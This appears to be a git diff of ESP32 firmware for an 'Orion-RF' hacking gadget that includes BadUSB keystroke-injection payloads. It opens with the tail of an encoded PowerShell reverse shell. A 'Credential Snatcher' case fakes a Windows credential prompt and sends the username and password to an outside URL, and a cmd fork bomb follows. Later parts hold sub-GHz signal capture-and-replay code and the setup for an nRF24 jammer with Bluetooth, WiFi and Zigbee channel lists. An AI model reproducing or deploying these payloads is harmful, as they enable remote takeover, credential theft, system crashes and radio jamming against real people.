"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI"
"AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI"
"AeQB0AGUAcwAuAEw"
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA"
"GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA"
"uAFQAZQB4AHQAL"
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ"
"AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA"
"GkAZQB4ACAAJAB"
"kAGEAdABhACAAMgA+"
"ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw"
"BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU"
"AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA"
"CkALgBHAGUAd"
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0"
"ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A"
"HQAZQAuAEwAZQB"
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa"
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB"
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb"
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
"AcgBhAHkAKAApACkAKQA=");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= CREDENTIAL SNATCHER ================= // ================= CREDENTIAL SNATCHER =================
case 11: case 11:
showRunningScreen("Vault Crack"); showRunningScreen("Vault Crack");
// Open hidden PowerShell // Open hidden PowerShell
runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\""); runCommand(
"powershell -nop -W Hidden -c \"$cred = "
"$host.ui.PromptForCredential('Windows Security','Please authenticate "
"to update your system credentials.','',''); $p = "
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
"Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
break; break;
// ================= DESKTOP GHOST ================= // ================= DESKTOP GHOST =================
case 12: case 12:
showRunningScreen("Ghost Mode"); showRunningScreen("Ghost Mode");
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
"System.Windows.Forms; "
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
"-Format Image).Save($path); Set-ItemProperty -Path "
"'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
// Hide Desktop Icons (requires a registry tweak) // Hide Desktop Icons (requires a registry tweak)
typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe"); typeSlow("reg add "
Keyboard.write(KEY_RETURN); "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
"explorer.exe && start explorer.exe");
Keyboard.write(KEY_RETURN);
break; break;
// ================= FORK BOMB ================= // ================= FORK BOMB =================
case 13: case 13:
showRunningScreen("System Stress"); showRunningScreen("System Stress");
runCommand("cmd"); runCommand("cmd");
delay(500); delay(500);
// The shortest deadly command in Windows // The shortest deadly command in Windows
typeSlow("%0|%0"); typeSlow("%0|%0");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
}
} }
}

119
src/main.cpp
View File

@ -2,9 +2,9 @@
#include <USB.h> #include <USB.h>
#include <USBHIDKeyboard.h> #include <USBHIDKeyboard.h>
#include "libs/BleMouse.h"
#include <BLEDevice.h> #include <BLEDevice.h>
#include <BLEScan.h> #include <BLEScan.h>
#include "libs/BleMouse.h"
#include <RF24.h> #include <RF24.h>
#include <nRF24L01.h> #include <nRF24L01.h>
@ -14,15 +14,14 @@
#include <WiFi.h> #include <WiFi.h>
#include <esp_wifi.h> #include <esp_wifi.h>
#include <SPI.h>
#include <esp_chip_info.h> #include <esp_chip_info.h>
#include <esp_heap_caps.h> #include <esp_heap_caps.h>
#include <esp_system.h> #include <esp_system.h>
#include <SPI.h>
#include "ui/display.h" #include "ui/display.h"
#include "utils/buttons.h"
#include "ui/menu.h" #include "ui/menu.h"
#include "utils/buttons.h"
#include "config.h" #include "config.h"
#include "rf/cc1101.h" #include "rf/cc1101.h"
@ -33,12 +32,10 @@ USBHIDKeyboard Keyboard;
// ===== BLE MOUSE ===== // ===== BLE MOUSE =====
BleMouse bleMouse("Orion-RF", "Orion-RF", 100); BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
RF24 radio1(CE1_PIN, CSN1_PIN); RF24 radio1(CE1_PIN, CSN1_PIN);
RF24 radio2(CE2_PIN, CSN2_PIN); RF24 radio2(CE2_PIN, CSN2_PIN);
SPIClass *RADIO_SPI; SPIClass *RADIO_SPI;
void deactivateNRF1() { void deactivateNRF1() {
digitalWrite(CSN1_PIN, HIGH); digitalWrite(CSN1_PIN, HIGH);
digitalWrite(CE1_PIN, LOW); digitalWrite(CE1_PIN, LOW);
@ -49,94 +46,80 @@ void deactivateNRF2() {
digitalWrite(CE2_PIN, LOW); digitalWrite(CE2_PIN, LOW);
} }
// ================= SYSTEM INFO ================= // ================= SYSTEM INFO =================
void printSystemUsage() void printSystemUsage() {
{ esp_chip_info_t chip_info;
esp_chip_info_t chip_info;
esp_chip_info(&chip_info); esp_chip_info(&chip_info);
Serial.printf("CPU cores: %d\n", chip_info.cores); Serial.printf("CPU cores: %d\n", chip_info.cores);
Serial.printf( Serial.printf("Free heap: %d bytes\n",
"Free heap: %d bytes\n", heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
heap_caps_get_free_size(MALLOC_CAP_DEFAULT)
);
Serial.printf( Serial.printf("PSRAM free: %d bytes\n",
"PSRAM free: %d bytes\n", heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
heap_caps_get_free_size(MALLOC_CAP_SPIRAM)
);
} }
void showSplash() void showSplash() {
{ u8g2.clearBuffer();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_logisoso20_tr); // big font u8g2.setFont(u8g2_font_logisoso20_tr); // big font
u8g2.drawStr(10, 40, "Orion-RF"); u8g2.drawStr(10, 40, "Orion-RF");
u8g2.setFont(u8g2_font_5x8_tr); // small subtitle u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
u8g2.drawStr(25, 58, "Initializing..."); u8g2.drawStr(25, 58, "Initializing...");
u8g2.sendBuffer(); u8g2.sendBuffer();
delay(1500); // 1.5 sec delay(1500); // 1.5 sec
} }
// ================= SETUP ================= // ================= SETUP =================
void setup() void setup() {
{ Serial.begin(115200);
Serial.begin(115200);
displayInit(); displayInit();
showSplash(); showSplash();
buttonsInit(); buttonsInit();
menuInit(); menuInit();
delay(1500); delay(1500);
USB.begin(); USB.begin();
Keyboard.begin(); Keyboard.begin();
// NRF SPI safety
// pinMode(CSN1_PIN, OUTPUT);
// digitalWrite(CSN1_PIN, HIGH);
// pinMode(CSN2_PIN, OUTPUT);
// digitalWrite(CSN2_PIN, HIGH);
deactivateNRF1();
deactivateNRF2();
// NRF SPI safety RADIO_SPI = new SPIClass(FSPI);
//pinMode(CSN1_PIN, OUTPUT); RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
//digitalWrite(CSN1_PIN, HIGH);
//pinMode(CSN2_PIN, OUTPUT); // ===== CC1101 SPI INIT =====
//digitalWrite(CSN2_PIN, HIGH); // SPI.begin(
deactivateNRF1(); // cc1101_SCK,
deactivateNRF2(); // cc1101_MISO,
// cc1101_MOSI,
// CC1101_CS
//);
RADIO_SPI = new SPIClass(FSPI); // pinMode(CC1101_CS, OUTPUT);
RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); // pinMode(CC1101_2_CS, OUTPUT);
// ===== CC1101 SPI INIT ===== // digitalWrite(CC1101_CS, HIGH);
//SPI.begin( // digitalWrite(CC1101_2_CS, HIGH);
// cc1101_SCK,
// cc1101_MISO,
// cc1101_MOSI,
// CC1101_CS
//);
//pinMode(CC1101_CS, OUTPUT); printSystemUsage();
//pinMode(CC1101_2_CS, OUTPUT);
//digitalWrite(CC1101_CS, HIGH); Serial.println("SYSTEM READY");
//digitalWrite(CC1101_2_CS, HIGH);
printSystemUsage();
Serial.println("SYSTEM READY");
} }
// ================= LOOP ================= // ================= LOOP =================
void loop() void loop() { menuLoop(); }
{
menuLoop();
}

157
src/nfc/nfc.cpp
View File

@ -1,117 +1,104 @@
#include "nfc.h" #include "nfc.h"
#include <Adafruit_PN532.h>
#include <Arduino.h> #include <Arduino.h>
#include <Wire.h> #include <Wire.h>
#include <Adafruit_PN532.h>
#include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h" #include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h"
#define PN532_IRQ -1 #define PN532_IRQ -1
#define PN532_RESET -1 #define PN532_RESET -1
//Adafruit_PN532 nfc(Wire); // Adafruit_PN532 nfc(Wire);
Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
void drawWaiting() void drawWaiting() {
{ u8g2.clearBuffer();
u8g2.clearBuffer();
u8g2.drawStr(10, 20, "PN532 Ready"); u8g2.drawStr(10, 20, "PN532 Ready");
u8g2.drawStr(10, 40, "Tap NFC Card"); u8g2.drawStr(10, 40, "Tap NFC Card");
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
void showUID(uint8_t *uid, uint8_t uidLength) void showUID(uint8_t *uid, uint8_t uidLength) {
{ char line[64];
char line[64];
String uidStr = ""; String uidStr = "";
for (int i = 0; i < uidLength; i++) for (int i = 0; i < uidLength; i++) {
{ if (uid[i] < 0x10)
if (uid[i] < 0x10) uidStr += "0";
uidStr += "0";
uidStr += String(uid[i], HEX); uidStr += String(uid[i], HEX);
uidStr += " "; uidStr += " ";
} }
uidStr.toUpperCase(); uidStr.toUpperCase();
u8g2.clearBuffer();
u8g2.drawStr(0, 15, "Card Detected");
snprintf(line, sizeof(line), "UID:");
u8g2.drawStr(0, 35, line);
u8g2.drawStr(0, 50, uidStr.c_str());
u8g2.sendBuffer();
}
void pn532_init() {
delay(100);
nfc.begin();
delay(100);
uint32_t versiondata = nfc.getFirmwareVersion();
if (!versiondata) {
Serial.println("PN532 not found");
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(0, 20, "PN532 NOT FOUND");
u8g2.drawStr(0, 15, "Card Detected");
snprintf(line, sizeof(line), "UID:");
u8g2.drawStr(0, 35, line);
u8g2.drawStr(0, 50, uidStr.c_str());
u8g2.sendBuffer(); u8g2.sendBuffer();
delay(2000);
return;
}
Serial.println("PN532 initialized");
nfc.SAMConfig();
} }
void pn532_init() void pn532_scan_loop() {
{ pn532_init();
delay(100);
nfc.begin();
delay(100);
uint32_t versiondata = nfc.getFirmwareVersion(); drawWaiting();
if (!versiondata) while (1) {
{ uint8_t success;
Serial.println("PN532 not found"); uint8_t uid[7];
uint8_t uidLength;
u8g2.clearBuffer(); Serial.println("Scanning...");
u8g2.drawStr(0, 20, "PN532 NOT FOUND"); success =
u8g2.sendBuffer(); nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50);
delay(2000); if (success) {
return; Serial.println("Card detected");
showUID(uid, uidLength);
delay(1000);
} }
Serial.println("PN532 initialized"); if (btnBack()) {
delay(150);
nfc.SAMConfig(); break;
}
void pn532_scan_loop()
{
pn532_init();
drawWaiting();
while (1)
{
uint8_t success;
uint8_t uid[7];
uint8_t uidLength;
Serial.println("Scanning...");
success = nfc.readPassiveTargetID(
PN532_MIFARE_ISO14443A,
uid,
&uidLength,
50
);
if (success)
{
Serial.println("Card detected");
showUID(uid, uidLength);
delay(1000);
}
if (btnBack())
{
delay(150);
break;
}
} }
}
} }

539
src/rf/cc1101.cpp
View File

@ -1,10 +1,10 @@
#include <Arduino.h>
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "cc1101.h" #include "cc1101.h"
#include "../config.h" #include "../config.h"
#include "SPI.h" #include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include "SPI.h"
#include <Arduino.h>
// ===== CONFIG ===== // ===== CONFIG =====
#define RAW_BUF_MAX 512 #define RAW_BUF_MAX 512
@ -26,383 +26,332 @@ float rxBW = 325.0;
int powerLevel = 10; int powerLevel = 10;
// ===== ISR ===== // ===== ISR =====
void IRAM_ATTR pulseISR() void IRAM_ATTR pulseISR() {
{ unsigned long now = micros();
unsigned long now = micros();
if (!capturing) return; if (!capturing)
if (pulseIndex >= RAW_BUF_MAX) return; return;
if (pulseIndex >= RAW_BUF_MAX)
return;
unsigned long duration = now - lastEdgeTime; unsigned long duration = now - lastEdgeTime;
if (duration < 150) return; if (duration < 150)
return;
captureBuffer[pulseIndex++] = duration; captureBuffer[pulseIndex++] = duration;
lastEdgeTime = now; lastEdgeTime = now;
} }
// ===== OOK SETUP ===== // ===== OOK SETUP =====
void setupOOKMode() void setupOOKMode() {
{ ELECHOUSE_cc1101.SetRx();
ELECHOUSE_cc1101.SetRx(); ELECHOUSE_cc1101.setMHZ(currentFreq);
ELECHOUSE_cc1101.setMHZ(currentFreq);
ELECHOUSE_cc1101.setModulation(2); // ASK/OOK ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
ELECHOUSE_cc1101.setDRate(dataRate); ELECHOUSE_cc1101.setDRate(dataRate);
ELECHOUSE_cc1101.setDeviation(0); ELECHOUSE_cc1101.setDeviation(0);
ELECHOUSE_cc1101.setRxBW(rxBW); ELECHOUSE_cc1101.setRxBW(rxBW);
ELECHOUSE_cc1101.setSyncMode(0); ELECHOUSE_cc1101.setSyncMode(0);
ELECHOUSE_cc1101.setPA(powerLevel); ELECHOUSE_cc1101.setPA(powerLevel);
} }
// ===== INIT (LAZY, SAFE) ===== // ===== INIT (LAZY, SAFE) =====
// ================= CC1101 INIT ================= // ================= CC1101 INIT =================
bool initCC1101() bool initCC1101() {
{ Serial.println();
Serial.println(); Serial.println("===== CC1101 INIT =====");
Serial.println("===== CC1101 INIT =====");
// ===== SPI ===== // ===== SPI =====
SPI.begin( SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
pinMode(CC1101_CS, OUTPUT); pinMode(CC1101_CS, OUTPUT);
digitalWrite(CC1101_CS, HIGH); digitalWrite(CC1101_CS, HIGH);
delay(100); delay(100);
// ===== GDO ===== // ===== GDO =====
ELECHOUSE_cc1101.setGDO( ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
CC1101_GDO0,
-1
);
ELECHOUSE_cc1101.setSpiPin( ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
// ===== DETECT ===== // ===== DETECT =====
Serial.println("Checking chip..."); Serial.println("Checking chip...");
if (!ELECHOUSE_cc1101.getCC1101()) if (!ELECHOUSE_cc1101.getCC1101()) {
{ Serial.println("❌ CC1101 NOT FOUND");
Serial.println("❌ CC1101 NOT FOUND"); return false;
return false; }
}
Serial.println("✅ CC1101 FOUND"); Serial.println("✅ CC1101 FOUND");
// ===== IMPORTANT ===== // ===== IMPORTANT =====
// DO NOT CALL Init() // DO NOT CALL Init()
// it freezes on some ESP32-S3 setups // it freezes on some ESP32-S3 setups
// ===== MANUAL CONFIG ===== // ===== MANUAL CONFIG =====
ELECHOUSE_cc1101.setMHZ(currentFreq); ELECHOUSE_cc1101.setMHZ(currentFreq);
// 2 = ASK/OOK // 2 = ASK/OOK
ELECHOUSE_cc1101.setModulation(2); ELECHOUSE_cc1101.setModulation(2);
ELECHOUSE_cc1101.setDRate(dataRate); ELECHOUSE_cc1101.setDRate(dataRate);
ELECHOUSE_cc1101.setRxBW(rxBW); ELECHOUSE_cc1101.setRxBW(rxBW);
ELECHOUSE_cc1101.setDeviation(0); ELECHOUSE_cc1101.setDeviation(0);
// disable sync requirement // disable sync requirement
ELECHOUSE_cc1101.setSyncMode(0); ELECHOUSE_cc1101.setSyncMode(0);
ELECHOUSE_cc1101.setPA(powerLevel); ELECHOUSE_cc1101.setPA(powerLevel);
// async serial mode // async serial mode
ELECHOUSE_cc1101.setCCMode(0); ELECHOUSE_cc1101.setCCMode(0);
// enter RX // enter RX
ELECHOUSE_cc1101.SetRx(); ELECHOUSE_cc1101.SetRx();
pinMode(CC1101_GDO0, INPUT); pinMode(CC1101_GDO0, INPUT);
Serial.println("✅ RX MODE READY"); Serial.println("✅ RX MODE READY");
cc1101Inited = true; cc1101Inited = true;
return true; return true;
} }
// ===== CAPTURE CONTROL ===== // ===== CAPTURE CONTROL =====
void startCapture() void startCapture() {
{ pulseIndex = 0;
pulseIndex = 0; capturing = true;
capturing = true; lastEdgeTime = micros();
lastEdgeTime = micros();
attachInterrupt( attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
digitalPinToInterrupt(CC1101_GDO0),
pulseISR,
CHANGE
);
Serial.println("Looking for RF... "); Serial.println("Looking for RF... ");
} }
bool isCC1101Ready() { bool isCC1101Ready() { return cc1101Inited; }
return cc1101Inited;
}
void stopCapture() void stopCapture() {
{ capturing = false;
capturing = false;
detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
Serial.println("Capture stopped"); Serial.println("Capture stopped");
} }
// ===== DEBUG PRINT ===== // ===== DEBUG PRINT =====
void printCapture() void printCapture() {
{ Serial.println("Captured pulses:");
Serial.println("Captured pulses:");
for (int i = 0; i < pulseIndex; i++) for (int i = 0; i < pulseIndex; i++) {
{ Serial.println(captureBuffer[i]);
Serial.println(captureBuffer[i]); }
}
} }
// ================= REPLAY ================= // ================= REPLAY =================
void replaySignal() void replaySignal() {
{ Serial.println();
Serial.println(); Serial.println("Replaying signal...");
Serial.println("Replaying signal...");
stopCapture(); stopCapture();
ELECHOUSE_cc1101.SetTx(); ELECHOUSE_cc1101.SetTx();
pinMode(CC1101_GDO0, OUTPUT); pinMode(CC1101_GDO0, OUTPUT);
for (int i = 0; i < pulseIndex; i++) for (int i = 0; i < pulseIndex; i++) {
{ digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
digitalWrite(
CC1101_GDO0,
(i % 2 == 0) ? HIGH : LOW
);
delayMicroseconds(captureBuffer[i]); delayMicroseconds(captureBuffer[i]);
} }
digitalWrite(CC1101_GDO0, LOW); digitalWrite(CC1101_GDO0, LOW);
ELECHOUSE_cc1101.SetRx(); ELECHOUSE_cc1101.SetRx();
pinMode(CC1101_GDO0, INPUT); pinMode(CC1101_GDO0, INPUT);
Serial.println("Replay complete"); Serial.println("Replay complete");
} }
void captureAndDisplay() {
if (!cc1101Inited) {
if (!initCC1101()) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
return;
}
}
void captureAndDisplay() startCapture();
{
if (!cc1101Inited) u8g2.clearBuffer();
{ u8g2.setFont(u8g2_font_6x10_tr);
if (!initCC1101()) u8g2.drawStr(0, 12, "CC1101 Capture");
{ u8g2.drawStr(0, 28, "Waiting RF...");
u8g2.clearBuffer(); u8g2.drawStr(0, 60, "BACK = Exit");
u8g2.setFont(u8g2_font_6x10_tr); u8g2.sendBuffer();
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer(); unsigned long lastSignal = millis();
return; int lastPulseCount = 0;
}
while (true) {
// signal detected
if (pulseIndex > lastPulseCount) {
lastPulseCount = pulseIndex;
lastSignal = millis();
} }
startCapture(); // update OLED
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.setCursor(0, 28);
u8g2.print("Pulses: ");
u8g2.print(pulseIndex);
u8g2.setCursor(0, 42);
u8g2.print("Freq: ");
u8g2.print(currentFreq);
u8g2.print(" MHz");
if (pulseIndex > 0) {
u8g2.drawStr(0, 54, "Signal Detected");
} else {
u8g2.drawStr(0, 54, "Waiting...");
}
u8g2.sendBuffer();
// auto print once capture stabilizes
if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
stopCapture();
Serial.println();
Serial.println("===== RF CAPTURE =====");
for (int i = 0; i < pulseIndex; i++) {
Serial.print(captureBuffer[i]);
Serial.print(", ");
}
Serial.println();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "Capture Complete");
u8g2.setCursor(0, 35);
}
}
}
void handleMenu() {
if (!isCC1101Ready()) {
if (!initCC1101()) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
delay(1500);
return;
}
}
pulseIndex = 0;
startCapture();
// ===== CAPTURE FOR 5 SEC =====
unsigned long start = millis();
while (millis() - start < 5000) {
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.drawStr(0, 28, "Waiting RF..."); u8g2.drawStr(0, 12, "RF Capturing...");
u8g2.drawStr(0, 60, "BACK = Exit");
u8g2.setCursor(0, 30);
u8g2.print("Pulses: ");
u8g2.print(count);
u8g2.sendBuffer(); u8g2.sendBuffer();
unsigned long lastSignal = millis(); delay(50);
int lastPulseCount = 0; }
while (true) stopCapture();
{
// signal detected
if (pulseIndex > lastPulseCount)
{
lastPulseCount = pulseIndex;
lastSignal = millis();
}
// update OLED // ===== DISPLAY CAPTURE BUFFER =====
u8g2.clearBuffer(); int scroll = 0;
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture"); while (1) {
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.setCursor(0, 28); u8g2.clearBuffer();
u8g2.print("Pulses: "); u8g2.setFont(u8g2_font_5x8_tr);
u8g2.print(pulseIndex);
u8g2.setCursor(0, 42); u8g2.drawStr(0, 8, "Captured Buffer");
u8g2.print("Freq: ");
u8g2.print(currentFreq);
u8g2.print(" MHz");
if (pulseIndex > 0) // display 6 lines
{ for (int i = 0; i < 6; i++) {
u8g2.drawStr(0, 54, "Signal Detected"); int idx = scroll + i;
}
else
{
u8g2.drawStr(0, 54, "Waiting...");
}
u8g2.sendBuffer(); if (idx >= count)
break;
// auto print once capture stabilizes noInterrupts();
if (pulseIndex > 20 && (millis() - lastSignal > 1500)) unsigned long val = captureBuffer[idx];
{ interrupts();
stopCapture();
Serial.println(); char buf[32];
Serial.println("===== RF CAPTURE =====");
for (int i = 0; i < pulseIndex; i++) snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
{
Serial.print(captureBuffer[i]);
Serial.print(", ");
}
Serial.println(); u8g2.drawStr(0, 20 + (i * 8), buf);
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "Capture Complete");
u8g2.setCursor(0, 35);
}
}
}
void handleMenu()
{
if (!isCC1101Ready())
{
if (!initCC1101())
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
delay(1500);
return;
}
} }
pulseIndex = 0; u8g2.sendBuffer();
startCapture(); // scroll down
if (btnDown()) {
if (scroll < count - 1)
scroll++;
// ===== CAPTURE FOR 5 SEC ===== delay(120);
unsigned long start = millis();
while (millis() - start < 5000)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "RF Capturing...");
u8g2.setCursor(0, 30);
u8g2.print("Pulses: ");
u8g2.print(count);
u8g2.sendBuffer();
delay(50);
} }
stopCapture(); // scroll up
if (btnUp()) {
if (scroll > 0)
scroll--;
// ===== DISPLAY CAPTURE BUFFER ===== delay(120);
int scroll = 0;
while (1)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, "Captured Buffer");
// display 6 lines
for (int i = 0; i < 6; i++)
{
int idx = scroll + i;
if (idx >= count)
break;
noInterrupts();
unsigned long val = captureBuffer[idx];
interrupts();
char buf[32];
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
u8g2.drawStr(0, 20 + (i * 8), buf);
}
u8g2.sendBuffer();
// scroll down
if (btnDown())
{
if (scroll < count - 1)
scroll++;
delay(120);
}
// scroll up
if (btnUp())
{
if (scroll > 0)
scroll--;
delay(120);
}
// replay
if (btnSelect())
{
replaySignal();
delay(300);
}
// exit
if (btnBack())
{
delay(150);
return;
}
delay(20);
} }
// replay
if (btnSelect()) {
replaySignal();
delay(300);
}
// exit
if (btnBack()) {
delay(150);
return;
}
delay(20);
}
} }

349
src/rf/nrf24.cpp
View File

@ -1,8 +1,8 @@
#include <Arduino.h>
#include <RF24.h>
#include "nrf24.h" #include "nrf24.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include <Arduino.h>
#include <RF24.h>
#define JAM_DURATION 500 #define JAM_DURATION 500
extern SPIClass *RADIO_SPI; extern SPIClass *RADIO_SPI;
@ -11,239 +11,206 @@ extern RF24 radio2;
// ============ CHANNELS ============= // ============ CHANNELS =============
const byte bleChannels[] = {2, 26, 80}; const byte bleChannels[] = {2, 26, 80};
const byte bluetoothChannels[] = { const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6,
32, 34, 46, 48, 50, 52, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
0, 1, 2, 4, 6, 8, const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42,
22, 24, 26, 28, 30, 47, 52, 57, 62, 67, 72};
74, 76, 78, 80 const byte usbWireless_channels[] = {40, 50, 60};
};
const byte wifiChannels[] = {
12, 17, 22, 27, 32,
37, 42, 47, 52, 57,
62, 67, 72
};
const byte usbWireless_channels[] = {40, 50, 60};
const byte videoTransmitter_channels[] = {70, 75, 80}; const byte videoTransmitter_channels[] = {70, 75, 80};
const byte zigbee_channels[] = {11, 15, 20, 25}; const byte zigbee_channels[] = {11, 15, 20, 25};
const byte rc_channels[] = {1, 3, 5, 7}; const byte rc_channels[] = {1, 3, 5, 7};
void initNRF(RF24 &radio) void initNRF(RF24 &radio) {
{ if (!radio.begin(RADIO_SPI)) {
if (!radio.begin(RADIO_SPI)) { Serial.println("NRF not found");
Serial.println("NRF not found"); return;
return; }
}
radio.setAutoAck(false);
radio.stopListening();
radio.setRetries(0, 0);
radio.setPALevel(RF24_PA_MAX, true);
radio.setDataRate(RF24_2MBPS);
radio.openWritingPipe(0xE7E7E7E7E7LL);
radio.setCRCLength(RF24_CRC_DISABLED);
Serial.println("NRF Initialized");
radio.setAutoAck(false);
radio.stopListening();
radio.setRetries(0, 0);
radio.setPALevel(RF24_PA_MAX, true);
radio.setDataRate(RF24_2MBPS);
radio.openWritingPipe(0xE7E7E7E7E7LL);
radio.setCRCLength(RF24_CRC_DISABLED);
Serial.println("NRF Initialized");
} }
// void startBleJammer() {
// initNRF(radio1);
//void startBleJammer() { // initNRF(radio2);
// initNRF(radio1);
// initNRF(radio2);
// //
// Serial.println("NRF JAMMER STARTED"); // Serial.println("NRF JAMMER STARTED");
// //
